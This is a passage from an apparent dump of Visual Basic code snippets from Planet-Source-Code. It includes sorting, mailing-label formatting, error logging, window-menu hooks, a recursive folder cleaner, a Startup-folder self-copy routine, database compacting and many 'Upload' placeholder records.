the element is greater than the element\n ' following it, exchange the two elements.\n If (bAscOrder And (TempArray(iElement%, i%) > TempArray(iElement%, i% + 1))) _\n Or (Not bAscOrder And (TempArray(iElement%, i%) < TempArray(iElement%, i% + 1))) _\n Then\n NoExchanges = False\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n arrTemp(j%, 1) = TempArray(j%, i%)\n Next j%\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n TempArray(j%, i%) = TempArray(j%, i% + 1)\n Next j%\n For j% = LBound(TempArray, 1) To UBound(TempArray, 1)\n TempArray(j%, i% + 1) = arrTemp(j%, 1)\n Next j%\n End If\n Next i%\n End If\n Loop While Not (NoExchanges)\n Sort_TwoDimensionBubble = True\n On Error GoTo 0\n Exit Function\nError_BubbleSort:\n On Error GoTo 0\n Sort_TwoDimensionBubble = False\nEnd Function\n"},{"WorldId":1,"id":6659,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'Developed by Lisa Z. Morgan\n'Lairhaven Enterprises\n'lairhavn@pinn.net\n'┬⌐ 2000 All rights reserved.\n'Use under the standard terms of Planet-Source-Code.com\n'Is explicitly permitted.\nPublic Type NameAndAddress\n FullName As String\n MailingName As String\n StreetAddress As String\n CompanyAddress As String\n FullText As String\nEnd Type\n \nPublic Function MailingLabelText(LastName As String, FirstName As String, _\n Optional MI As String = \"\", _\n Optional Title As String = \"\", _\n Optional Honorific As String = \"\", _\n Optional CompanyName As String = \"\", _\n Optional AddrLine1 As String = \"\", _\n Optional AddrLine2 As String = \"\", _\n Optional City As String = \"\", _\n Optional State As String = \"\", _\n Optional ZipCode As String = \"\" _\n ) As NameAndAddress\n'Generates a full address or as much as is available\n On Error GoTo HandleErr\n Dim strName As String\n Dim strAddress As String\n \n'Build the name\n If Len(MI) = 0 Then\n strName = FirstName & \" \" & LastName\n Else\n strName = FirstName & \" \" & MI & \" \" & LastName\n End If\n'Assign the name to the FullName element\n MailingLabelText.FullName = strName\n'Add title or honorific if present\n If Len(Honorific) = 0 Then\n If Len(Title) > 0 Then\n strName = Title & \" \" & strName\n End If\n Else\n strName = strName & \", \" & Honorific\n End If\n'assign the full name to the MailingName element\n MailingLabelText.MailingName = strName\n'Build the Address\n If Len(AddrLine1) > 0 Then\n strAddress = AddrLine1\n End If\n \n If Len(AddrLine2) > 0 Then\n strAddress = strAddress & vbCrLf & AddrLine2\n End If\n If Len(City) > 0 Then\n strAddress = strAddress & vbCrLf & City\n If Len(State) > 0 Then\n strAddress = strAddress & \", \" & State\n End If\n If Len(ZipCode) > 0 Then\n If Right(ZipCode, 1) = \"-\" Then\n ZipCode = Left(ZipCode, Len(ZipCode) - 1)\n End If\n strAddress = strAddress & \" \" & ZipCode\n End If\n End If\n \n 'Assign the string to the streetaddress element\n MailingLabelText.StreetAddress = strAddress\n With MailingLabelText\n 'Assign the other combinations as appropriate\n If Len(CompanyName) > 0 Then\n .CompanyAddress = CompanyName & vbCrLf & strAddress\n End If\n If (Len(strName) > 0 And Len(CompanyName) > 0) Then\n .FullText = strName & vbCrLf & CompanyName & vbCrLf & strAddress\n ElseIf (Len(strName) > 0 And Len(CompanyName) = 0) Then\n .FullText = strName & vbCrLf & strAddress\n ElseIf (Len(strName) = 0 And Len(CompanyName) > 0) Then\n .FullText = CompanyName & vbCrLf & strAddress\n Else\n .FullText = strAddress\n End If\n \n End With\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MailingLabelText\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nPublic Function MakeProper(StringIn As Variant) As String\n'Upper-Cases the first letter of each word in in a string\n On Error GoTo HandleErr\n Dim strBuild As String\n Dim intLength As Integer\n Dim intCounter As Integer\n Dim strChar As String\n Dim strPrevChar As String\nintLength = Len(StringIn)\n'Bail out if there is nothing there\nIf intLength > 0 Then\n strBuild = UCase(Left(StringIn, 1))\n For intCounter = 1 To intLength\n strPrevChar = Mid$(StringIn, intCounter, 1)\n strChar = Mid$(StringIn, intCounter + 1, 1)\n Select Case strPrevChar\n Case Is = \" \", \".\", \"/\"\n strChar = UCase(strChar)\n Case Else\n End Select\n strBuild = strBuild & strChar\n Next intCounter\n MakeProper = strBuild\n strBuild = MakeWordsLowerCase(strBuild, \" and \", \" or \", \" the \", \" a \", \" to \")\n MakeProper = strBuild\nEnd If\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MakeProper\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction MakeWordsLowerCase(StringIn As String, _\n ParamArray WordsToCheck()) As String\n'Looks for the words in the WordsToCheck Array within\n'the StringIn string and makes them lower case\n On Error GoTo HandleErr\n Dim strWordToFind As String\n Dim intWordStarts As Integer\n Dim intWordEnds As Integer\n Dim intStartLooking As Integer\n Dim strResult As String\n Dim intLength As Integer\n Dim intCounter As Integer\n \n 'Initialize the variables\n strResult = StringIn\n intLength = Len(strResult)\n intStartLooking = 1\n \n For intCounter = LBound(WordsToCheck) To UBound(WordsToCheck)\n strWordToFind = WordsToCheck(intCounter)\n Do\n intWordStarts = InStr(intStartLooking, strResult, strWordToFind)\n If intWordStarts = 0 Then Exit Do\n intWordEnds = intWordStarts + Len(strWordToFind)\n strResult = Left(strResult, intWordStarts - 1) & _\n LCase(strWordToFind) & _\n Mid$(strResult, intWordEnds, (intLength - intWordEnds) + 1)\n intStartLooking = intWordEnds\n \n Loop While intWordStarts > 0\n intStartLooking = 1\n Next intCounter\n \n MakeWordsLowerCase = strResult\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MakeWordsLowerCase\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction OrdinalNumber(NumberIn As Long) As String\n'Formats a number as an ordinal number\n On Error GoTo HandleErr\n Dim intLastDigit As Integer\n Dim intLastTwoDigits As Integer\n intLastDigit = NumberIn Mod 10\n intLastTwoDigits = NumberIn Mod 100\n Select Case intLastTwoDigits\n Case 11 To 19\n OrdinalNumber = CStr(NumberIn) & \"th\"\n Case Else\n Select Case intLastDigit\n Case Is = 1\n OrdinalNumber = CStr(NumberIn) & \"st\"\n Case Is = 2\n OrdinalNumber = CStr(NumberIn) & \"nd\"\n Case Is = 3\n OrdinalNumber = CStr(NumberIn) & \"rd\"\n Case Else\n OrdinalNumber = CStr(NumberIn) & \"th\"\n End Select\n End Select\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"OrdinalNumber\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction MonthName(DateIn As Date) As String\n'Returns the full name of the month of the date passed in\nOn Error GoTo HandleErr\nDim dv As New DevTools\n Select Case Month(DateIn)\n Case Is = 1\n MonthName = \"January\"\n Case Is = 2\n MonthName = \"February\"\n Case Is = 3\n MonthName = \"March\"\n Case Is = 4\n MonthName = \"April\"\n Case Is = 5\n MonthName = \"May\"\n Case Is = 6\n MonthName = \"June\"\n Case Is = 7\n MonthName = \"July\"\n Case Is = 8\n MonthName = \"August\"\n Case Is = 9\n MonthName = \"September\"\n Case Is = 10\n MonthName = \"October\"\n Case Is = 11\n MonthName = \"November\"\n Case Is = 12\n MonthName = \"December\"\n End Select\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"MonthName\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nFunction DateWord(DateIn As Date) As String\n'Accepts: DateIn--the date to be converted\n'Returns: DateWord--the date in \"5th day of August, 1997\" format\n'Comments: Calls OrdinalNum for the day value and MonthName for the Month\n'*****************************************************************************\n On Error GoTo HandleErr\n Dim strDay As String\n Dim strMonth As String\n Dim strYear As String\n Dim lngIntDayNum As Long\n \n strMonth = MonthName(DateIn)\n strYear = CStr(Year(DateIn))\n lngIntDayNum = CInt(Day(DateIn))\n strDay = OrdinalNum(lngIntDayNum)\n \n \nDateWord = strDay & _\n \" day of \" & strMonth & _\n \", \" & strYear\nExitHere:\n \n Exit Function\nHandleErr:\n Select Case Err.Number\n Case Else\n LogError \"DateWord\", Err.Number, Err.Description, Err.Source\n Resume ExitHere\n End Select\nEnd Function\nPublic Sub LogError(ProcedureName As String, ErrorNumber As Long, _\n ErrorDescription As String, ErrorSource As String)\n On Error GoTo HandleErr\n \n Dim lngFileNo As Long\n Dim strTextFile As String\n Dim strPath As String\n Dim strLogText As String\n \n 'Build a text entry for the error log file\n strLogText = vbCrLf & Space(14) & \" * BEGIN ERROR RECORD * \" & vbCrLf\n strLogText = strLogText & \"Error \" & ErrorNumber\n strLogText = strLogText & \" in Procedure \" & ProcedureName & \" at \" & Now() & vbCrLf\n strLogText = strLogText & ErrorDescription & vbCrLf\n strLogText = strLogText & Space(14) & \"* END ERROR RECORD * \" & vbCrLf & vbCrLf\n \n 'place the file in the application directory and name it Error Log.txt\n strPath = App.Path\n strTextFile = strPath & \"\\Error Log.txt\"\n 'Open the file\n lngFileNo = FreeFile\n Open strTextFile For Append As #lngFileNo\n 'Write the error entry\n Write #lngFileNo, strLogText\n 'Close the file\n Close #lngFileNo\nExitHere:\n Exit Sub\nHandleErr:\n Debug.Print \"Error in LogError\"\n Resume ExitHere\nEnd Sub\n"},{"WorldId":1,"id":7498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8193,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7687,"LineNumber":1,"line":"Private Sub Form_Load()\nDim strDir As String\nDim intDir As Integer\nDim strpath As String\nintDir = Len(CurDir()) 'Gets length of Current directory\n'Gets last character from CurDir() and checks if it's a \\\nstrDir = Mid(CurDir(), intDir)\nIf strDir = \"\\\" Then\n strpath = CurDir() & App.EXEName & \".exe\"\n 'If is in main drive like C:\\ or D:\\ it simply\n 'puts the file name, \"C:\\Blah.exe\"\nElse\n strpath = CurDir() & \"\\\" & App.EXEName & \".exe\"\n 'If CurDir() returns no \\ then its in a folder\n 'and will necessitate a \\ inserted so that it looks like\n 'C:\\Folder\\Blah.exe and NOT like C:\\FolderBlah.exe\nEnd If\nOn Error GoTo Death\n'Error statement allows this code to run if it is already\n'in the Start Menu\nFileCopy strpath, _\n\"C:\\WINDOWS\\Start Menu\\Programs\\StartUp\\\" _\n& App.EXEName & \".exe\"\nDeath:\nExit Sub\nResume Next\nEnd Sub"},{"WorldId":1,"id":10353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6710,"LineNumber":1,"line":"Private Sub Command1_Click()\n 'Opens a Treeview control that displays the directories in a computer\n Dim lpIDList As Long \n Dim sBuffer As String\n Dim szTitle As String \n Dim tBrowseInfo As BrowseInfo\n szTitle = \"This is the title\" \n With tBrowseInfo\n .hWndOwner = Me.hWnd \n .lpszTitle = lstrcat(szTitle, \"\")\n .ulFlags = BIF_RETURNONLYFSDIRS_\n +BIF_DONTGOBELOWDOMAIN\n \n End With \n lpIDList = SHBrowseForFolder(tBrowseInfo)\n If (lpIDList) Then \n sBuffer = Space(MAX_PATH)\n SHGetPathFromIDList lpIDList, sBuffer\n sBuffer = Left(sBuffer, InStr\n (sBuffer, vbNullChar) - 1)\n MsgBox sBuffer \n End If \nEnd Sub"},{"WorldId":1,"id":6731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7378,"LineNumber":1,"line":"Public Sub cBubbleSort(inputArray As Variant)\n\tDim lDown As Long, lUp As Long\n\tFor lDown = UBound(inputArray) To LBound(inputArray) Step -1\n\t\tFor lUp = LBound(inputArray) + 1 To lDown\n\t\t\tIf inputArray(lUp - 1) > inputArray(lDown) Then SwapValues inputArray(lUp - 1), inputArray(lDown)\n\t\tNext lUp\n\tNext lDown\nEnd Sub\nPublic Sub SwapValues(firstValue As Variant, secondValue As Variant)\n\tDim tmpValue As Variant\n\ttmpValue = firstValue\n\tfirstValue = secondValue\n\tsecondValue = tmpValue\nEnd Sub\nThis is the same code but with explainations:\nPublic Sub cBubbleSort(inputArray As Variant)\n\tDim lDown As Long, lUp As Long ' Two variables that will be used in the fors\n\tFor lDown = UBound(inputArray) To LBound(inputArray) Step -1 ' One variable will go from the upper bound of the array\n\t\tFor lUp = LBound(inputArray) + 1 To lDown ' and the second one will go from the lowest bound to the top\n\t\t\tIf inputArray(lUp - 1) > inputArray(lDown) Then SwapValues inputArray(lUp - 1), inputArray(lDown) ' This line check if the value from the up-to-down for is higher than the value from the down-to-up for, if so the sub call a swap sub that switches the values places\n\t\tNext lUp ' Continue to the next value from down-to-up\n\tNext lDown ' Continue to the next value from up-to-down\nEnd Sub\nPublic Sub SwapValues(firstValue As Variant, secondValue As Variant) ' This sub switches the values\n\tDim tmpValue As Variant ' Temp variable to store the first value\n\ttmpValue = firstValue ' put the first value into a temp variable\n\tfirstValue = secondValue ' put the second value into the first\n\tsecondValue = tmpValue ' and then put the first value, that stored in a temp variable, into the second\nEnd Sub\nIf this code wasn't helpful and you still want to know how the bubble sort algorithm works so go to this links:\nI hope this code was helpful if so please vote for me.\n1) http://technology.niagarac.on.ca/courses/comp435/labs/bubblesort.html\n2) http://www.cis.ufl.edu/~ddd/cis3020/summer-97/lectures/lec16/tsld042.htm\n3) http://www.enm.maine.edu/Courses/C/SourceCode/BUBBLE.html\n4) http://www-ee.eng.hawaii.edu/Courses/EE150/Book/chap10/subsection2.1.2.2.html\n5)http://www.scism.sbu.ac.uk/law/Section5/chap2/s5c2p13.html"},{"WorldId":1,"id":6713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6724,"LineNumber":1,"line":"'**** MODULE LEVEL CODE ****\nPublic Function WndProc(ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nDim retval As Long\n \n'Is triggered if Always on top is clicked.\nIf wMsg = WM_SYSCOMMAND And wParam = MenuItemID Then\n WndProc = 0\n If Checked Then\n 'switch menu to unchecked\n retval = CheckMenuItem(MenuHandle, MenuItemID, MF_UNCHECKED)\n 'set window to not top most window\n retval = SetWindowPos(Hwnd, HWND_NOTOPMOST, 0, 0, 1, 1, SWP_NOMOVE Or SWP_NOSIZE)\n 'toggle checked\n Checked = Not Checked\n Else\n 'switch menu to checked\n retval = CheckMenuItem(MenuHandle, MenuItemID, MF_CHECKED)\n 'make window always on top\n retval = SetWindowPos(Hwnd, HWND_TOPMOST, 0, 0, 1, 1, SWP_NOMOVE Or SWP_NOSIZE)\n 'toggle checked\n Checked = Not Checked\n End If\n Exit Function\nEnd If\n \n'Is Triggered if Close is clicked.\nIf wMsg = WM_SYSCOMMAND And wParam = MenuCloseID Then\n retval = MsgBox(\"Are you sure you wish to exit?\", vbYesNo, \"Confirm Close\")\n If retval = vbNo Then\n 'Traps out the Close event so window does not close.\n WndProc = 0\n Exit Function\n End If\nEnd If\n \n'Pass on all the other unhandled messages\nWndProc = CallWindowProc(OldProc, Hwnd, wMsg, wParam, lParam)\n \nEnd Function\n \n \nPublic Sub AddMenuItem(Hwnd As Long)\nDim x As Long\n \nChecked = False\n \n'Get system menu handle\nMenuHandle = GetSystemMenu(Hwnd, False)\n \n'Append a seporator line\nx = AppendMenu(MenuHandle, MF_SEPARATOR, 0, \"\")\n \n'Append Always on Top Item, and Set to unchecked - 555 is the ItemID.\nx = AppendMenu(MenuHandle, MF_UNCHECKED, 555, \"Always on Top\")\n \n'Redraw the menubar\nx = DrawMenuBar(Hwnd)\n \n'Get menuitemid for item 8 and 6 in system menu which are 'Always on Top' and 'Close'.\nMenuItemID = GetMenuItemID(MenuHandle, 8)\nMenuCloseID = GetMenuItemID(MenuHandle, 6)\n \n'store the old message handler.\nOldProc = GetWindowLong(Hwnd, GWL_WNDPROC)\n \n'set the message handler to ours.\nSetWindowLong Hwnd, GWL_WNDPROC, AddressOf WndProc\n \nEnd Sub\n \n \nSub UnHookWindow(Hwnd As Long)\n'Sets procedure for handling events back to the original.\n SetWindowLong Hwnd, GWL_WNDPROC, OldProc\nEnd Sub\n \n\n\n\n'**** FORM LEVEL CODE ****\n \n \n'Paste this code in any form.\n \nOption Explicit\n \nPrivate Sub Form_Load()\n 'Setup menus and message handlers.\n Call AddMenuItem(Me.Hwnd)\nEnd Sub\n \n \nPrivate Sub Form_Unload(Cancel As Integer)\n 'Restore message handler. Run this or crash.\n Call UnHookWindow(Me.Hwnd)\nEnd Sub\n \n"},{"WorldId":1,"id":7097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6723,"LineNumber":1,"line":"\n'Use this sub in the form you are coding, it could be improved to be a global procedure\n'and pass the form as an argument.\nPrivate Sub Resizeall()\nDim Ctl As Control\n Dim X As Integer\n \n Dim Size As Double\n ScreenX = GetSystemMetrics(SM_CXSCREEN)\n\n ScreenY = GetSystemMetrics(SM_CYSCREEN)\n \n' this picks out the display settings.\nSelect Case ScreenX\n Case 640\n 'size = 0.67\n Size = 0.64\n Case 800\n Size = 0.72\n Case 1024\n Exit Sub\n Case 1280\n 'Exit Sub\n Size = 1.25\n Case Else\n Exit Sub\n End Select\n 'Me.Height = Me.Height * size\n 'Me.Top = Me.Top * size\n 'Me.Width = Me.Width * size\n 'Me.Left = Me.Left * size\n For Each Ctl In Me.Controls\n \n Ctl.Height = Ctl.Height * Size\n Ctl.Width = Ctl.Width * Size\n Ctl.Top = Ctl.Top * Size\n Ctl.Left = Ctl.Left * Size\n If TypeOf Ctl Is TextBox Or TypeOf Ctl Is Label Or TypeOf Ctl Is CommandButton Then\n 'Ctl.SizeToFit\n Ctl.FontName = \"Arial\"\n Ctl.FontSize = 6.7\n If TypeOf Ctl Is CommandButton Then\n Ctl.FontName = \"Arial\"\n Ctl.FontSize = 5\n End If\n End If\n \n 'SizeToFit\n \n Next Ctl\n \nEnd Sub"},{"WorldId":1,"id":7250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6741,"LineNumber":1,"line":"Public Sub CleanAllPath(sPath As String)\nDim sName As String\nDim sFullName As String\n' Array used for holding the directories,\n' however collection may be used as well\nDim Dirs() As String\nDim DirsNo As Integer\nDim i As Integer\n If Not Right(sPath, 1) = \"\\\" Then\n sPath = sPath & \"\\\"\n End If\n ' clean all files in the directory\n sName = Dir(sPath & \"*.*\")\n While Len(sName) > 0\n sFullName = sPath & sName\n SetAttr sFullName, vbNormal\n Kill sFullName\n sName = Dir\n Wend\n \n sName = Dir(sPath & \"*.*\", vbHidden)\n While Len(sName) > 0\n sFullName = sPath & sName\n SetAttr sFullName, vbNormal\n Kill sFullName\n sName = Dir\n Wend\n \n ' read all the directories into array\n DirsNo = 0\n sName = Dir(sPath, vbDirectory)\n While Len(sName) > 0\n If sName <> \".\" And sName <> \"..\" Then\n DirsNo = DirsNo + 1\n ReDim Preserve Dirs(DirsNo) As String\n Dirs(DirsNo - 1) = sName\n End If\n sName = Dir\n Wend\n For i = 0 To DirsNo - 1\n CleanAllPath (sPath & Dirs(i) & \"\\\")\n RmDir sPath & Dirs(i)\n Next\n \nEnd Sub\n"},{"WorldId":1,"id":6750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7946,"LineNumber":1,"line":"Private Sub Form_KeyUp (KeyASCII as Integer, KeyCode as Integer)\nLabel1.Caption = KeyCode\nEnd Sub"},{"WorldId":1,"id":7947,"LineNumber":1,"line":"Private Sub RoundTo_Click()\nText1 = Format(Text1,\"####.00\") 'To alter \n'the D.P. just add or subtract the 0's after \n'the decimal point.\nEnd Sub"},{"WorldId":1,"id":49970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8534,"LineNumber":1,"line":"Public Sub SwapStr(Var1 As String, Var2 As String)\n' This is particularly useful in programs with lots of\n' data analysis. Easily edited for any variant data\n' manipulating. I'm currently using this coding and\n' some vector codes to update my ThreeD Render Engine\n' (http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=1&txtCodeId=8426)\n' a little advertising on my part =)...\n' Using this routine is faster than\n ' sTmp = Var1\n ' Var1 = Var2\n ' Var2 = sTmp\n' By a factor up 12 for really long values !!\nDim lSaveAddr As Long\n \n' Save memory descriptor location for Var1\nlSaveAddr = StrPtr(Var1)\n \n' Copy memory descriptor of Var2 to Var1\nCopyMemory ByVal VarPtr(Var1), ByVal VarPtr(Var2), 4\n' Copy memory descriptor of saved Var1 to Var2\nCopyMemory ByVal VarPtr(Var2), lSaveAddr, 4\n'4 bytes is the size of one string. You may need to\n'edit this coding a little in order to create memory\n'efficient storage for different data types (i.e.\n'user defined types).\nEnd Sub"},{"WorldId":1,"id":8426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9359,"LineNumber":1,"line":"' !! Dial the Net Automatically !!\n' This waits until the connection is made and THEN\n' proceeds. --Bradley Liang\nPrivate Sub Command1_Click()\n'To prompt the user to connect to the Net\nIf InternetAutodial(INTERNET_AUTODIAL_FORCE_ONLINE, 0) Then\n\tMsgBox \"You're Connected!\", vbInformation\nEnd If\n'To automatically start dialling\nIf InternetAutodial(INTERNET_AUTODIAL_FORCE_UNATTENDED, 0) Then\n\tMsgBox \"You're Connected!\", vbInformation\nEnd If\n'To disconnect an automatically dialled connection\nIf InternetAutodialHangup(0) Then\n MsgBox \"You're Disconnected!\", vbInformation\nEnd If\nEnd Sub"},{"WorldId":1,"id":10309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9606,"LineNumber":1,"line":"Public Sub CompactDatabase(Location As String, _\n Optional BackupOriginal As Boolean = True)\nOn Error GoTo CompactErr\n \nDim strBackupFile As String\nDim strTempFile As String\n'Check the database exists\nIf Len(Dir(Location)) Then\n\t' Create Backup\n\tIf BackupOriginal = True Then\n\t\tstrBackupFile = GetTemporaryPath & \"backup.mdb\"\n\t\tIf Len(Dir(strBackupFile)) Then Kill strBackupFile\n\t\tFileCopy Location, strBackupFile\n\tEnd If\n\tstrTempFile = GetTemporaryPath & \"temp.mdb\"\n\tIf Len(Dir(strTempFile)) Then Kill strTempFile\n\t' Do the compacting \n 'DBEngine is a reference to the Microsoft DAO Object Lib...\n\tDBEngine.CompactDatabase Location, strTempFile\n\t' Remove the uncompressed database\n\tKill Location\n\t' Replace Uncompressed\n\tFileCopy strTempFile, Location\n\tKill strTempFile\nEnd If\nCompactErr:\n Exit Sub\nEnd Sub\nPublic Function GetTemporaryPath()\nDim strFolder As String\nDim lngResult As Long\nstrFolder = String(MAX_PATH, 0)\nlngResult = GetTempPath(MAX_PATH, strFolder)\nIf lngResult <> 0 Then\n GetTemporaryPath = Left(strFolder, InStr(strFolder, _\n\tChr(0)) - 1)\nElse\n GetTemporaryPath = \"\"\nEnd If\nEnd Function\n"},{"WorldId":1,"id":6807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9411,"LineNumber":1,"line":"' Make a project with only a module and put this\n' in it:\nDeclare Function GetShortPathName Lib \"kernel32\" Alias \"GetShortPathNameA\" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As Long) As Long\nPublic Function GetShortPath(strFileName As String) As String\n Dim lngRes As Long, strPath As String\n strPath = String$(165, 0)\n lngRes = GetShortPathName(strFileName, strPath, 164)\n GetShortPath = Left$(strPath, lngRes)\nEnd Function\nPublic Function GetPathAndFileName(ByVal PathAndFileName, ByRef FileName As String) As String\n Dim lPos As Long\n Dim lLastPos As Long\n \n lPos = InStr(1, PathAndFileName, \"\\\")\n While lPos <> 0\n lLastPos = lPos\n lPos = InStr(lLastPos + 1, PathAndFileName, \"\\\")\n Wend\n \n GetPathAndFileName = Left(PathAndFileName, lLastPos - 1)\n FileName = Mid(PathAndFileName, lLastPos + 1)\n \nEnd Function\nSub Main()\n On Error Resume Next\n Dim property As String\n Dim newfile As String\n Open Command For Input As #1\n Do Until EOF(1)\n Line Input #1, property\n If property = \"Retained=0\" Then\n Else\n If property = \"Retained=1\" Then\n Else\n If property = \"DebugStartupOption=0\" Then\n Else\n If property = \"DebugStartupOption=1\" Then\n Else\n newfile = newfile & property & vbCrLf\n End If\n End If\n End If\n End If\n Loop\n Close #1\n Open Command For Output As #1\n Print #1, newfile\n Close #1\n Dim RetVal\n Dim Path As String\n Dim File As String\n Dim ShortPath\n Dim apppath, cmdline\n If Len(App.Path) <> 2 Then 'if path is not root, add a \"\\\"\n apppath = App.Path & \"\\\"\n Else\n apppath = App.Path\n End If\n Path = GetPathAndFileName(Command, File)\n ShortPath = GetShortPath(Path)\n cmdline = apppath & \"Vb5.exe \" & ShortPath & \"\\\" & File\n RetVal = Shell(cmdline, vbNormalFocus)\n End\nEnd Sub\n"},{"WorldId":1,"id":6826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8722,"LineNumber":1,"line":"Public Function ParseDelimitedText(strSource As String, strDelimiter As String) As Variant()\n 'Comm:\n 'Will take the passed string and parse it out to an array which can then be itereated through\n 'with a for ..next loop bounded by lbound(ParseDelimitedText) and ubound(ParseDelimitedText)\n 'quote delimited doesn't really work with this, but as you'd need top pass the string loaded with\n 'chr$(34)'s anyway I guess it doesn't matter.\n 'enh: 06/07/2000 switched delimiter from comma to anything BUT quotes\n 'decl:\n Dim intTest As Integer\n Dim intStart As String, intEnd As String\n Dim varHold() As Variant\n 'Code:\n intStart = 1\n ReDim varHold(0)\n Do While InStr(intStart, strSource, strDelimiter) <> 0 Or intStart < Len(strSource)\n If intStart <> 1 Then ReDim Preserve varHold(UBound(varHold) + 1)\n intEnd = InStr(intStart, strSource, strDelimiter)\n If intEnd = 0 Then intEnd = Len(strSource)\n 'increase the array to hold the new value\n \n varHold(UBound(varHold)) = CVar(Mid$(strSource, intStart, intEnd - intStart))\n intStart = intEnd + 1 'slap the end as the new start position\n \n Loop\n 'Assign:\n ParseDelimiter = varHold\n 'for debugging to the immediate window\n For intTest = LBound(varHold) To UBound(varHold)\n Debug.Print \"#\" & intTest & \": \" & varHold(intTest)\n Next\n \nEnd Function\n"},{"WorldId":1,"id":6849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6852,"LineNumber":1,"line":"'Load an new instance of myControl \n'the index is the count, thus making it one\n'greater than the prior index as index is 0 based\n'and count starts at 1\nLoad pbVI(pbVI.Count)\n'Count is now 1 greater so to address the control \n'you just created reference count -1\nWith pbVI(pbVI.Count - 1)\n'.Left = 100\n'.Top = 600\n'.Visible = True\nEnd 